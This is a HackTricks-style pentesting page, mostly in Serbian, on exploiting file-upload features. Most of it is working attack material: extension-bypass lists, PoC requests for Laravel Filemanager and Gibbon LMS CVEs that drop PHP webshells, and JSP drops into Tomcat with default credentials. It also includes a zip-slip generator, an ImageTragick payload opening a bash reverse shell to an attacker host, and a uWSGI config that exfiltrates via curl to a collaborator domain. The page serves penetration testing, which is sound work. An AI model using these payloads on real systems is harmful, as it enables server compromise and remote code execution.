Otpremanje fajlova
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Opšta metodologija za otpremanje fajlova
Other useful extensions:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Zaobilaženje provera ekstenzija fajlova
- Ako se primenjuju, proverite prethodne ekstenzije. Takođe testirajte korišćenjem nekih velikih slova: pHp, .pHP5, .PhAr …
- Proverite dodavanje validne ekstenzije pre izvršne ekstenzije (takođe koristite prethodne ekstenzije):
- file.png.php
- file.png.Php5
- Pokušajte dodati specijalne karaktere na kraju. Možete koristiti Burp da bruteforce sve ascii i Unicode karaktere. (Napomena: možete takođe pokušati koristiti prethodno pomenute ekstenzije)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php….
- file.pHp5….
- Pokušajte zaobići zaštite prevarom parsera ekstenzija na serverskoj strani tehnikama kao što su dupliranje ekstenzije ili dodavanje smećа podataka (null bajtova) između ekstenzija. Takođe možete koristiti prethodne ekstenzije za pripremu boljeg payload-a.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Dodajte još jedan sloj ekstenzija u prethodnu proveru:
- file.png.jpg.php
- file.php%00.png%00.jpg
- Pokušajte staviti izvršnu ekstenziju pre validne ekstenzije i nadajte se da je server pogrešno konfigurisan. (korisno za iskorišćavanje Apache misconfiguracija gde bilo šta sa ekstenzijom .php, iako ne mora nužno da se završava sa .php, može izvršiti kod):
- ex: file.php.png
- Korišćenje NTFS alternate data stream (ADS) u Windows. U ovom slučaju, znak dvotačke “:” će biti ubačen nakon zabranjene ekstenzije i pre dozvoljene. Kao rezultat, biće kreiran prazan fajl sa zabranjenom ekstenzijom na serveru (npr. “file.asax:.jpg”). Ovaj fajl može biti kasnije izmenjen drugim tehnikama kao što je korišćenje njegovog short filename-a. Pattern “::$data” se takođe može koristiti za kreiranje ne-praznih fajlova. Zbog toga, dodavanje tačke nakon ovog pattern-a može biti korisno za zaobilaženje daljih ograničenja (npr. “file.asp::$data.”)
- Pokušajte preći ograničenja dužine imena fajla. Validna ekstenzija biva presečena. A zlonamerni PHP ostaje. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
Neki upload handler-i skraćuju ili normalizuju trailing tačku u sačuvanom imenu fajla. U UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) verzijama pre 2.9.1, možete zaobići validaciju ekstenzije pomoću:
- Using a valid image MIME and magic header (e.g., PNG’s
\x89PNG\r\n\x1a\n). - Naming the uploaded file with a PHP extension followed by a dot, e.g.,
shell.php.. - The server strips the trailing dot and persists
shell.php, which will execute if it’s placed in a web-served directory (default public storage like/storage/files/).
Minimal PoC (Burp Repeater):
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
Zatim pristupite sačuvanoj putanji (tipično u Laravel + LFM):
GET /storage/files/0xdf.php?cmd=id
Bypass Content-Type, Magic Number, Compression & Resizing
- Bypass Content-Type checks by setting the value of the Content-Type header to: image/png , text/plain , application/octet-stream
- Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- Bypass magic number check by adding at the beginning of the file the bytes of a real image (confuse the file command). Or introduce the shell inside the metadata:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg\or you could also introduce the payload directly in an image:echo '<?php system($_REQUEST['cmd']); ?>' >> img.png - If compressions is being added to your image, for example using some standard PHP libraries like PHP-GD, the previous techniques won’t be useful it. However, you could use the PLTE chunk technique defined here to insert some text that will survive compression.
- Github with the code
- The web page cold also be resizing the image, using for example the PHP-GD functions
imagecopyresizedorimagecopyresampled. However, you could use the IDAT chunk technique defined here to insert some text that will survive compression. - Github with the code
- Another technique to make a payload that survives an image resizing, using the PHP-GD function
thumbnailImage. However, you could use the tEXt chunk technique defined here to insert some text that will survive compression. - Github with the code
Other Tricks to check
- Pronađite ranjivost koja omogućava preimenovanje fajla koji je već otpremljen (da promenite ekstenziju).
- Pronađite Local File Inclusion ranjivost da izvršite backdoor.
- Moguće otkrivanje informacija:
- Otpremite više puta (i istovremeno) isti fajl sa istim imenom
- Otpremite fajl sa imenom fajla ili foldera koji već postoji
- Otpremite fajl sa imenom
"." , "..", or "…". Na primer, u Apache-u na Windows-u, ako aplikacija čuva otpremljene fajlove u direktorijumu “/www/uploads/”, filename “.” će kreirati fajl nazvan uploads” u “/www/” direktorijumu. - Otpremite fajl koji možda nije lako obrisati kao što je “…:.jpg” u NTFS. (Windows)
- Otpremite fajl u Windows sa nevažećim karakterima kao što su
|<>*?”u imenu. (Windows) - Otpremite fajl u Windows koristeći rezervisana (zabranjena) imena kao što su CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Probajte takođe da otpremite izvršni fajl (.exe) ili .html (manje sumnjivo) koji će izvršiti kod kada ga žrtva slučajno otvori.
Special extension tricks
If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.
The .phar files are like the .jar for java, but for php, and can be used like a php file (executing it with php, or including it inside a script…)
The .inc extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.
Jetty RCE
If you can upload a XML file into a Jetty server you can obtain RCE because **new .xml and .war are automatically processed. So, as mentioned in the following image, upload the XML file to $JETTY_BASE/webapps/ and expect the shell!
.png)
uWSGI RCE
For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the .ini configuration file. uWSGI configuration files leverage a specific syntax to incorporate “magic” variables, placeholders, and operators. Notably, the ‘@’ operator, utilized as @(filename), is designed to include the contents of a file. Among the various supported schemes in uWSGI, the “exec” scheme is particularly potent, allowing the reading of data from a process’s standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is processed.
Consider the following example of a harmful uwsgi.ini file, showcasing various schemes:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
It’s crucial to understand the lax nature of uWSGI’s configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.
Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Unauthenticated endpoint in Gibbon LMS allows arbitrary file write inside the web root, leading to pre-auth RCE by dropping a PHP file. Vulnerable versions: up to and including 25.0.01.
- Endpoint:
/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php - Method: POST
- Required params:
img: data-URI-like string:[mime];[name],[base64](server ignores type/name, base64-decodes the tail)path: destination filename relative to Gibbon install dir (e.g.,poc.phpor0xdf.php)gibbonPersonID: any non-empty value is accepted (e.g.,0000000001)
Minimal PoC to write and read back a file:
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
Postavite minimalan webshell i izvršite komande:
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
Napomene:
- Handler izvršava
base64_decode($_POST["img"])nakon razdvajanja po;i,, zatim upisuje bajtove u$absolutePath . '/' . $_POST['path']bez validacije ekstenzije/tipa. - Rezultujući kod se izvršava kao korisnik web servisa (npr. XAMPP Apache na Windows).
Reference za ovaj bag uključuju usd HeroLab advisory i NVD unos. Pogledajte odeljak References ispod.
wget File Upload/SSRF Trick
U nekim slučajevima možete otkriti da server koristi wget za preuzimanje fajlova i da možete navesti URL. U tim slučajevima, kod može proveravati da li je ekstenzija preuzetih fajlova na whitelisti kako bi osigurao da će biti preuzeti samo dozvoljeni fajlovi. Međutim, ova provera se može zaobići.
Maksimalna dužina ime fajla u linux je 255, međutim, wget skraćuje imena fajlova na 236 karaktera. Možete preuzeti fajl nazvan “A”*232+“.php”+“.gif”, ovo ime fajla će zaobići proveru (u ovom primeru “.gif” je važeća ekstenzija) ali wget će preimenovati fajl u “A”*232+“.php”.
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Note that another option you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This won’t work unless wget is being used with the parameter --trust-server-names because wget will download the redirected page with the name of the file indicated in the original URL.
Zaobilaženje upload direktorijuma pomoću NTFS junctions (Windows)
(Za ovaj napad biće vam potreban lokalni pristup Windows mašini) Kada se otpremanja čuvaju u per-user podfolderima na Windows-u (npr. C:\Windows\Tasks\Uploads<id>) i vi kontrolišete kreiranje/brisanje tog podfoldera, možete ga zameniti directory junction-om koji pokazuje na osetljivu lokaciju (npr. webroot). Naredna otpremanja biće upisana u ciljnu putanju, omogućavajući izvršavanje koda ako cilj tumači kod na strani servera.
Primer toka za preusmeravanje otpremanja u XAMPP webroot:
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
Beleške
- mklink /J creates an NTFS directory junction (reparse point). Nalog web servera mora slediti junction i imati pravo pisanja u destinaciji.
- Ovo preusmerava proizvoljna pisanja fajlova; ako destinacija izvršava skripte (PHP/ASP), ovo postaje RCE.
- Odbrane: ne dozvolite da upisivi upload root-ovi budu pod kontrolom napadača pod C:\Windows\Tasks ili slično; blokirajte kreiranje junction-a; validirajte ekstenzije na serverskoj strani; čuvajte upload-ove na posebnom volumenu ili sa deny‑execute ACLs.
GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)
Some upload/ingest handlers write the raw request body to a filesystem path that is constructed from user-controlled query parameters. If the handler also supports Content-Encoding: gzip and fails to canonicalize/validate the destination path, you can combine directory traversal with a gzipped payload to write arbitrary bytes into a web-served directory and obtain RCE (e.g., drop a JSP under Tomcat’s webapps).
Generic exploitation flow:
- Pripremite server-side payload (npr. minimalni JSP webshell) i gzip-compress the bytes.
- Pošaljite POST gde path parameter (npr. token) sadrži traversal koji izlazi iz namenjenog foldera, a file označava ime fajla za upis. Postavite Content-Type: application/octet-stream i Content-Encoding: gzip; body je kompresovani payload.
- Posetite napisani fajl da pokrenete izvršenje.
Illustrative request:
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>
<gzip-compressed-bytes-of-your-jsp>
Zatim pokreni:
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target
Napomene
- Ciljni putevi variraju po instalaciji (npr. /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ u nekim stack-ovima). Bilo koji web-izložen direktorijum koji izvršava JSP će raditi.
- Burp Suite’s Hackvertor extension može da proizvede ispravan gzip body iz tvog payload-a.
- Ovo je čisti pre-auth arbitrary file write → RCE pattern; ne oslanja se na multipart parsing.
Mitigacije
- Određujte destinacije za upload na serverskoj strani; nikada ne verujte fragmentima putanja iz klijenata.
- Normalizujte i osigurajte da razrešeni put ostane unutar osnovnog direktorijuma koji je na listi dozvoljenih.
- Skladištite upload-ove na neizvršnom volumenu i zabranite izvršavanje skripti iz writable putanja.
Axis2 SOAP uploadFile traversal to Tomcat webroot (JSP drop)
Axis2-based upload services ponekad izlažu uploadFile SOAP action koji prihvata tri polja koja napadač kontroliše: jobDirectory (odredišni direktorijum), archiveName (ime fajla), i dataHandler (sadržaj fajla u base64 formatu). Ako jobDirectory nije canonicalized, dobijate arbitrary file write via path traversal i možete smestiti JSP u Tomcat’s webapps.
Minimalni okvir zahteva (default creds često funkcionišu: admin / trubiquity):
POST /services/WsPortalV6UpDwAxis2Impl HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:updw="http://updw.webservice.ddxPortalV6.ddxv6.procaess.com">
<soapenv:Body>
<updw:uploadFile>
<updw:login>admin</updw:login>
<updw:password>trubiquity</updw:password>
<updw:archiveName>shell.jsp</updw:archiveName>
<updw:jobDirectory>/../../../../opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/</updw:jobDirectory>
<updw:dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgc3lzdGVtKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7Pz4=</updw:dataHandler>
</updw:uploadFile>
</soapenv:Body>
</soapenv:Envelope>
- Bindings su često localhost-only; uparite sa full-read SSRF (absolute-URL request line, Host header ignored) da dosegnete
127.0.0.1ako Axis2 port nije izložen. - Nakon pisanja, otvorite
/trufusionPortal/jsp/shell.jsp?cmd=idda izvršite.
Alati
- Upload Bypass je moćan alat dizajniran da pomogne Pentesters and Bug Hunters u testiranju file upload mehanizama. Koristi razne bug bounty tehnike da pojednostavi proces identifikacije i iskorišćavanja ranjivosti, omogućavajući temeljne provere web aplikacija.
Korupcija indeksa upload-a zbog snprintf nepravilnosti (historijski)
Neki legacy upload handleri koji koriste snprintf() ili slične funkcije da izgrade multi-file nizove iz jednokratnog upload-a mogu biti prevareni da falsifikuju _FILES strukturu. Zbog neusaglašenosti i trunciranja u ponašanju snprintf(), pažljivo oblikovan pojedinačni upload može izgledati kao više indeksiranih fajlova na serverskoj strani, zbunjujući logiku koja pretpostavlja strogu strukturu (npr. tretira ga kao multi-file upload i ulazi u nesigurne grane). Iako je danas nišeno, ovaj obrazac “index corruption” povremeno se pojavljuje u CTF-ovima i starijim kod-bazama.
From File upload to other vulnerabilities
- Postavite filename na
../../../tmp/lol.pngi pokušajte ostvariti path traversal - Postavite filename na
sleep(10)-- -.jpgi možda ćete moći ostvariti SQL injection - Postavite filename na
<svg onload=alert(document.domain)>da ostvarite XSS - Postavite filename na
; sleep 10;da testirate neku command injection (više command injections tricks here) - XSS in image (svg) file upload
- JS file upload + XSS = Service Workers exploitation
- XXE in svg upload
- Open Redirect via uploading svg file
- Probajte different svg payloads from https://github.com/allanlw/svg-cheatsheet
- Famous ImageTrick vulnerability
- Ako možete naložiti web serveru da preuzme sliku sa URL-a, možete pokušati zloupotrebiti SSRF. Ako će ta image biti saved na nekom public sajtu, možete takođe navesti URL sa https://iplogger.org/invisible/ i steal information of every visitor.
- XXE and CORS bypass with PDF-Adobe upload
- Posebno oblikovani PDF-ovi za XSS: Sledeća stranica prikazuje kako inject PDF data to obtain JS execution](../xss-cross-site-scripting/pdf-injection.md). Ako možete upload-ovati PDF-ove, možete pripremiti PDF koji će izvršiti proizvoljan JS prema datim instrukcijama.
- Otpremajte sadržaj [eicar](https://secure.eicar.org/eicar.com.txt) da proverite da li server ima neki antivirus
- Proverite da li postoji neki size limit pri upload-u fajlova
Evo top 10 liste stvari koje možete postići otpremanjem (iz ovde):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Burp Extension
GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy \xc2\xb7 GitHub
Magični početni bajtovi
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03[" - JPG:
"\xff\xd8\xff"
Pogledajte https://en.wikipedia.org/wiki/List_of_file_signatures za ostale tipove fajlova.
Zip/Tar File Automatically decompressed Upload
Ako možete upload-ovati ZIP koji će biti dekompresovan unutar servera, možete uraditi 2 stvari:
Symlink
Otpremajte arhivu koja sadrži soft linkove na druge fajlove, zatim, pristupajući dekompresovanim fajlovima pristupićete linkovanim fajlovima:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Dekompresija u različite direktorijume
Neočekivano kreiranje fajlova u direktorijumima tokom dekompresije predstavlja ozbiljan problem. Uprkos početnim pretpostavkama da ovakvo podešavanje može štititi od izvršavanja komandi na nivou OS-a putem zlonamernih upload-a, podrška ZIP formata za hijerarhijsku kompresiju i mogućnosti directory traversal-a mogu se iskoristiti. To omogućava napadačima da zaobiđu restrikcije i izađu iz zaštićenih direktorijuma za otpremanje manipulisanjem funkcionalnošću dekompresije ciljne aplikacije.
Automatizovani exploit za kreiranje takvih fajlova dostupan je na evilarc on GitHub. Alat se može koristiti na sledeći način:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Pored toga, symlink trick with evilarc je opcija. Ako je cilj da se ciljano pristupi fajlu poput /flag.txt, treba kreirati symlink ka tom fajlu na vašem sistemu. Ovo osigurava da evilarc ne naiđe na greške tokom svog rada.
Ispod je primer Python code koji se koristi za kreiranje zlonamernog zip fajla:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Zloupotreba kompresije za file spraying
Za više detalja pogledajte originalni post na: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Creating a PHP Shell: PHP kod je napisan da izvršava komande prosleđene kroz promenljivu
$_REQUEST.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying and Compressed File Creation: Kreira se više fajlova i sastavlja zip arhiva koja sadrži te fajlove.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Modification with a Hex Editor or vi: Imena fajlova u zip-u se menjaju koristeći vi ili hex editor, menjajući “xxA” u “../” da bi se prešlo u direktorijume.
:set modifiable
:%s/xxA/../g
:x!
ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)
Kada backend validira ZIP unose koristeći PHP’s ZipArchive, ali ekstrakcija upisuje u fajl sistem koristeći sirova imena, možete smestiti zabranjenu ekstenziju ubacivanjem NUL (0x00) u polja za imena fajlova. ZipArchive tretira ime unosa kao C‑string i skraćuje ga na prvom NUL; fajl sistem upisuje puno ime, zanemarujući sve nakon NUL-a.
High-level flow:
- Pripremite legitimni container file (e.g., a valid PDF) koji ubacuje mali PHP stub u stream tako da magic/MIME ostane PDF.
- Imenujte ga like
shell.php..pdf, zip it, then hex‑edit the ZIP local header and central directory filename to replace the first.after.phpwith0x00, resulting inshell.php\x00.pdf. - Validatori koji se oslanjaju na ZipArchive će “see”
shell.php .pdfi dozvoliti ga; ekstraktor upisujeshell.phpna disk, što može dovesti do RCE ako je upload folder izvršan.
Minimal PoC steps:
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf
# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf
# 3) Hex-edit both the local header and central directory filename fields
# Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
# Tools: hexcurse, bless, bvi, wxHexEditor, etc.
# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)
Notes
- Promenite OBA pojavljivanja imena fajla (lokalni i centralni direktorijum). Neki alati dodaju i dodatni data descriptor entry – prilagodite sva polja imena ako su prisutna.
- The payload file mora i dalje proći server‑side magic/MIME sniffing. Ukucavanje PHP u PDF stream održava validan header.
- Radi kada se enum/validation path i extraction/write path ne slažu u rukovanju stringovima.
Stacked/concatenated ZIPs (parser disagreement)
Konkatenacija dva validna ZIP fajla proizvodi blob u kome različiti parseri fokusiraju različite EOCD zapise. Mnogi alati lociraju poslednji End Of Central Directory (EOCD), dok neke biblioteke (npr. ZipArchive u određenim workflow-ima) mogu parsirati prvi archive koji pronađu. Ako validation enumeriše prvi archive, a extraction koristi drugi alat koji poštuje poslednji EOCD, benigni archive može proći proveru dok se maliciozni ekstrahuje.
PoC:
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2
# Stack them
cat zip1.zip zip2.zip > combo.zip
# Different views
unzip -l combo.zip # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'
Obrazac zloupotrebe
- Kreirajte benignu arhivu (dozvoljeni tip, npr. PDF) i drugu arhivu koja sadrži blokiranu ekstenziju (npr.
shell.php). - Konkatenirajte ih:
cat benign.zip evil.zip > combined.zip. - Ako server potvrđuje validnost pomoću jednog parsera (vidi benign.zip), ali izvlači pomoću drugog (obrađuje evil.zip), blokirana datoteka se nađe u putanji za ekstrakciju.
ImageTragic
Otpremite ovaj sadržaj sa image ekstenzijom da biste iskoristili ranjivost (ImageMagick , 7.0.1-1) (iz exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Ugradnja PHP shell-a u PNG
Ugradnja PHP shell-a u IDAT chunk PNG fajla može efikasno zaobići određene operacije obrade slike. Funkcije imagecopyresized i imagecopyresampled iz PHP-GD su posebno relevantne u ovom kontekstu, jer se često koriste za skaliranje i resampling slika. Sposobnost ugrađenog PHP shell-a da ostane nepromenjen posle ovih operacija predstavlja značajnu prednost za određene upotrebe.
Detaljna analiza ove tehnike, uključujući metodologiju i potencijalne primene, dostupna je u sledećem članku: “Encoding Web Shells in PNG IDAT chunks”. Ovaj resurs pruža sveobuhvatno razumevanje procesa i njegovih implikacija.
More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Polyglot fajlovi
Polyglot fajlovi služe kao jedinstveni alat u cybersecurity-ju, ponašajući se kao kameleoni koji validno mogu postojati u više formata fajlova istovremeno. Zanimljiv primer je GIFAR, hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takvi fajlovi nisu ograničeni samo na ovu kombinaciju; kombinacije poput GIF i JS ili PPT i JS takođe su izvodljive.
